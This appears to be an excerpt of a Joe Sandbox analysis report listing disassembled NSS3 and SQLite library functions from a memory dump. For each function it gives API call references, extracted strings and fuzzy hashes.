Part of subcall function 6C732D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C732D5F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 71366e79e0ef86b24d99a49d470641cf91454dc28e048ee86171b8b5483b0bf8
Instruction ID: fb8b4ade4983b29655b04dc9b7d18e31fa0f5841999c4facb51bcebf911e8876
Opcode Fuzzy Hash: 71366e79e0ef86b24d99a49d470641cf91454dc28e048ee86171b8b5483b0bf8
Instruction Fuzzy Hash: 6DD17FB6E026099FDB14CFA9DA84A9EB7F5FF48308F158039DA15A7B11E731E805CB50

Function 6C76A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C76A9CA

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C880B04,?), ref: 6C76A9F7

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C76AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76AA33
PK11_GetInternalKeySlot.NSS3 ref: 6C76AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C76AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C76AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C76AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C76AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C76AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C76ABDC
PK11_FreeSymKey.NSS3(?), ref: 6C76ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C76ABF7

Part of subcall function 6C76AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C76AB3E,?,?,?), ref: 6C76AC35
Part of subcall function 6C76AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C76AB3E,?,?,?), ref: 6C76AC55
Part of subcall function 6C76AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E,?,?), ref: 6C76AC70
Part of subcall function 6C76AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C76AC92
Part of subcall function 6C76AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E), ref: 6C76ACD7

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 91280125c7cc4d544882c731e9ecb342724b0a66cd7fbd576489a70758d8fe76
Instruction ID: af1af8c291602d88810ff5cdee11893aff773b7c291f1cce1338862dd8e1f748
Opcode Fuzzy Hash: 91280125c7cc4d544882c731e9ecb342724b0a66cd7fbd576489a70758d8fe76
Instruction Fuzzy Hash: 45710272A043119BDB01CF3ADE44B5BB3A5BF85368F144A39FD6897A40EB31D9488792

Function 6C6AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C6AEF98

Strings

%s at line %d of [%.10s], xrefs: 6C6AF492
database corruption, xrefs: 6C6AF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AF483

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 7428d2dcdb05b615a909ca3eaa9f9c4db4d724960bb91c7818708294305f672f
Instruction ID: ba4f09a96e196d10d35696aef8f553cf3d828a71724d6e01c8a78903c7b789a5
Opcode Fuzzy Hash: 7428d2dcdb05b615a909ca3eaa9f9c4db4d724960bb91c7818708294305f672f
Instruction Fuzzy Hash: E5620330A042458FEB14CFA9C480B9ABBF1BF45318F184199D9456BB92D735EC87CBDA

Function 6C74FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C74FD06

Part of subcall function 6C74F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C74F696
Part of subcall function 6C74F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C74F789
Part of subcall function 6C74F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C74F796
Part of subcall function 6C74F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C74F79F
Part of subcall function 6C74F670: SECITEM_DupItem_Util.NSS3 ref: 6C74F7F0

Part of subcall function 6C773440: PK11_GetAllTokens.NSS3 ref: 6C773481
Part of subcall function 6C773440: PR_SetError.NSS3(00000000,00000000), ref: 6C7734A3
Part of subcall function 6C773440: TlsGetValue.KERNEL32 ref: 6C77352E
Part of subcall function 6C773440: EnterCriticalSection.KERNEL32(?), ref: 6C773542
Part of subcall function 6C773440: PR_Unlock.NSS3(?), ref: 6C77355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C74FDAD

Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C729003,?), ref: 6C77FD91
Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(A4686C78,?), ref: 6C77FDA2
Part of subcall function 6C77FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C78,?,?), ref: 6C77FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C74FE00

Part of subcall function 6C77FD80: free.MOZGLUE(00000000,?,?), ref: 6C77FDD1

Part of subcall function 6C76E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C76E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C74FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C74FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C74FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C750007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C750029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C750044

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: d1023390d1a29dbb907687c9430dae06f58021628c1ad5b42c1fb01a53c69b9f
Instruction ID: 5037a4cda6a6ef8864b0444e889bec76406b6556fa9aa5b68645995061c04e84
Opcode Fuzzy Hash: d1023390d1a29dbb907687c9430dae06f58021628c1ad5b42c1fb01a53c69b9f
Instruction Fuzzy Hash: 22B1D1B1604301AFE304CF29C984A6AF7E5FF88318F548A2DF99987A41E770E945CB91

Function 6C747D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C747DDC

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C747DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C747F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C747F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C747F98
PK11_FreeSymKey.NSS3(?), ref: 6C747FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C747FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C748000

Part of subcall function 6C769430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C747F0C,?,00000000,00000000,00000000,?), ref: 6C76943B
Part of subcall function 6C769430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C76946B
Part of subcall function 6C769430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C769546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C748110
PK11_FreeSymKey.NSS3(00000000), ref: 6C74811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C74822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C74823C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 73ddc672e50a3afb949f25575cdb014b5f2e0c91496b6ed002a85b03fdd9e5eb
Instruction ID: 09ae221c06bbc99512a107e5100ee6ce5e0ee9c7804e926b9f9ae8533c260961
Opcode Fuzzy Hash: 73ddc672e50a3afb949f25575cdb014b5f2e0c91496b6ed002a85b03fdd9e5eb
Instruction Fuzzy Hash: B8C151B1D0026DDBEB21CF14CD44FEAB7B8AB15348F0481EAE91DA6641E7319E85CF91

Function 6C750EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C750F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C750FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C751006
PK11_FreeSymKey.NSS3(?), ref: 6C75101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C751033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C75103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C751048
memcpy.VCRUNTIME140(?,?,?), ref: 6C75108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C75112E

Part of subcall function 6C751570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7508C4,?,?), ref: 6C7515B8
Part of subcall function 6C751570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7508C4,?,?), ref: 6C7515C1
Part of subcall function 6C751570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C75162E
Part of subcall function 6C751570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C751637

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 7283ddf74e4fed265120776726b875a983534fde1b1fbceaf1b59f57cfd1a669
Instruction ID: 3bb990eb31756b50709209627b8d993259e88e8ab3e92326afc3ab6470dd31d9
Opcode Fuzzy Hash: 7283ddf74e4fed265120776726b875a983534fde1b1fbceaf1b59f57cfd1a669
Instruction Fuzzy Hash: AC71E1B1A002058FDB10CFA5CE88A6BB7B0BF44319F54863CE90D97751EB31D965CB91

Function 6C771CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C771F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C772166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C77228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C77241C

Strings

model, xrefs: 6C7723CB, 6C7723EC
token, xrefs: 6C771F2C
manufacturer, xrefs: 6C772179
serial, xrefs: 6C7722A2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 5ad74f35f977022746723efc10e8e273e231f34bfbf62beb4450d232256e64c9
Instruction ID: e5a062b64119821ee80766a7547f875e7d6c400ae658442e41667be8a70b2ba4
Opcode Fuzzy Hash: 5ad74f35f977022746723efc10e8e273e231f34bfbf62beb4450d232256e64c9
Instruction Fuzzy Hash: D1023062D0C7CCAEFB318271C54C7D76AE09B4632CF0D1A7EC5EE46683C7A859889361

Function 6C776C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C3F

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C60
PR_ExplodeTime.NSS3(00000000,6C721C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C94

Strings

gfff, xrefs: 6C776D30
gfff, xrefs: 6C776D66
gfff, xrefs: 6C776CF5
gfff, xrefs: 6C776D9C
gfff, xrefs: 6C776CFD

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 410ded5432698f71a61ea649234208c28ced0451bed2bbf4f25e7e53ca0ce085
Instruction ID: c947e0797f6c702e67cb5168228f3da97cb73b360765b683238203649a848423
Opcode Fuzzy Hash: 410ded5432698f71a61ea649234208c28ced0451bed2bbf4f25e7e53ca0ce085
Instruction Fuzzy Hash: F9516B72B016494FC718CDADDD527DEBBDAABA4310F48C23AE442CB785E638E906C751

Function 6C7F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F1353

Strings

NULL, xrefs: 6C7F119E
'%.*q', xrefs: 6C7F1217, 6C7F1292
%lld, xrefs: 6C7F114B
$, xrefs: 6C7F12A0
zeroblob(%d), xrefs: 6C7F1223
%02x, xrefs: 6C7F12F6
-- , xrefs: 6C7F0FF5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f22816be9016db84f6a76c579110bdaf5007fd71fc0472592bed576a28b62cd0
Instruction ID: a33b5fab3ffa4bf7b055d2c2a11d695cd29f8b5422ef082b946f90c61108b3b1
Opcode Fuzzy Hash: f22816be9016db84f6a76c579110bdaf5007fd71fc0472592bed576a28b62cd0
Instruction Fuzzy Hash: 35E1B0B1A08340DFD714CF58C584A6BBBF1BF86358F04892DE9A587B51E771E84ACB42

Function 6C7F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F9209

Strings

UUUU, xrefs: 6C7F9255
3333, xrefs: 6C7F925E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: aa6405ef8fe5795649ad831e6f72f965546baa1f26476611bb99f7a4be990ea1
Instruction ID: 53cd8ead1ced890db7f9c4aab46d548cf31283caa05fb526a6800f21fe53ba25
Opcode Fuzzy Hash: aa6405ef8fe5795649ad831e6f72f965546baa1f26476611bb99f7a4be990ea1
Instruction Fuzzy Hash: 7DA19E72E001159BDB14CF68CD90B9EB7B5AB88328F194139E915A7741E736EC42CBE1

Function 6C6B0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C6B103E
EnterCriticalSection.KERNEL32(?), ref: 6C6B1139
LeaveCriticalSection.KERNEL32(?), ref: 6C6B1190
sqlite3_free.NSS3(00000000), ref: 6C6B1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C6B126E
sqlite3_free.NSS3(?), ref: 6C6B127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C6B1267
winAccess, xrefs: 6C6B129B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 9e3286b3e7118fccf5b91b02f12ea56e707c4087e74436b76e3930e058415d17
Instruction ID: 40ad6f62dd3a3ddc30f5425697a211d2eb94227c8936feecb122684e883feabf
Opcode Fuzzy Hash: 9e3286b3e7118fccf5b91b02f12ea56e707c4087e74436b76e3930e058415d17
Instruction Fuzzy Hash: 82712B32705611AFEB249F24DC99A9F3375FB87318F140239E915A7A90EB30D851C7EA

Function 6C6BAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31,?,?,?,?,?,?,?), ref: 6C6BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31), ref: 6C6BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31), ref: 6C6BB0A2
CloseHandle.KERNEL32(?,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31,?,?,?,?,?,?,?,?,?), ref: 6C6BB100
sqlite3_free.NSS3(?,?,00000002,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31,?,?,?,?,?,?,?), ref: 6C6BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C7DCF46,?,6C6ACDBD,?,6C7DBF31), ref: 6C6BB12D

